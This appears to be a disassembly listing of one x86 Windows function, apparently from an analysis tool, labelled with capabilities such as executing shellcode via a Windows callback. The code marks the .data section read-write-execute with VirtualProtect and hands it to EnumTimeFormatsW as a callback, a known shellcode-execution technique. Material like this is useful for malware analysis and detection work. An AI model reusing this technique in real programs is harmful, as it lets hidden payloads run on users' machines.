Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x70
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x46]
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 2
mov dword [ebp - 0x5c], eax
call sub.MSVCRT.dll_memset
mov dword [esp], 0xbebc200
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x4010da
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
mov dword [esp + 4], 0xee
mov dword [esp + 8], 0xbebc200
call sub.MSVCRT.dll_memset
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x284
mov dword [esp + 8], 0x40
lea eax, [ebp - 0x4c]
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
lea ecx, section..data
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], edx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
sub esp, 0xc
mov dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
jge 0x40123e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
movzx eax, word [eax]
cmp eax, 0x2f
je 0x401113
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
movzx eax, word [eax]
cmp eax, 0x2d
jne 0x40122b
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
cmp word [eax + 2], 0
jne 0x401131
mov dword [ebp - 0xc], 1
jmp 0x401415
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
movzx eax, word [eax + 4]
cmp eax, 0
je 0x40115e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
movzx eax, word [eax + 4]
cmp eax, 0x3a
je 0x40115e
jmp 0x401230
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
movzx eax, word [eax + 2]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.MSVCRT.dll_towlower]
call eax
movzx ecx, ax
add ecx, 0xffffff9d
mov edx, ecx
sub edx, 0x12
mov dword [ebp - 0x68], ecx
ja case.0x401192.1
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax*4 + section..rdata]
jmp ecx
mov dword [ebp - 0x3c], 1
jmp 0x401220
mov dword [0x403284], 1
jmp 0x401220
mov dword [ebp - 0x38], 1
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
add eax, 4
mov dword [esp], eax
call fcn.00401420
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x4011db
lea eax, [ebp - 0x46]
mov dword [ebp - 0x44], eax
jmp 0x401220
mov dword [ebp - 0x34], 0
jmp 0x401220
jmp 0x401220
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esp], 0x3ea
mov dword [esp + 4], eax
call fcn.004014e0
mov dword [esp], 0x3e9
call fcn.004014e0
mov dword [ebp - 0xc], 1
jmp 0x401415
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x24], 0
jmp 0x401230
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x4010e1
cmp dword [ebp - 0x38], 0
jne 0x40125e
cmp dword [ebp - 0x34], 0
jne 0x40125e
mov dword [ebp - 0xc], 1
jmp 0x401415
mov dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
jge 0x4013db
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x24], 0
je 0x4013c8
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x40], 0
setne cl
xor cl, 0xff
and cl, 1
movzx eax, cl
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x40], 1
cmp dword [ebp - 0x38], 0
je 0x4012ee
cmp dword [ebp - 0x3c], 0
je 0x4012ee
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x54]
cmp dword [ebp - 0x3c], 0
setne bl
xor bl, 0xff
and bl, 1
movzx esi, bl
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401870
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401303
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
jmp 0x4013cd
cmp dword [ebp - 0x38], 0
je 0x401317
cmp dword [ebp - 0x34], 0
je 0x401355
cmp dword [ebp - 0x3c], 0
je 0x40133b
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401890
mov dword [ebp - 0x2c], eax
jmp 0x401350
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004018b0
mov dword [ebp - 0x2c], eax
jmp 0x401355
cmp dword [ebp - 0x2c], 0
je 0x40136a
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
jmp 0x4013cd
cmp dword [ebp - 0x38], 0
je 0x4013ae
cmp dword [ebp - 0x3c], 0
jne 0x4013ae
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x54]
cmp dword [ebp - 0x3c], 0
setne bl
xor bl, 0xff
and bl, 1
movzx esi, bl
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401870
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4013c3
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
jmp 0x4013cd
jmp 0x4013c8
jmp 0x4013cd
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x401265
cmp dword [ebp - 0x40], 0
jne 0x401409
mov dword [esp], 0x3e8
call fcn.004014e0
mov dword [esp], 0x3e9
call fcn.004014e0
mov dword [ebp - 0xc], 1
jmp 0x401415
call dword [sym.imp.ole32.dll_OleUninitialize]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add esp, 0x70
pop esi
pop ebx
pop ebp
ret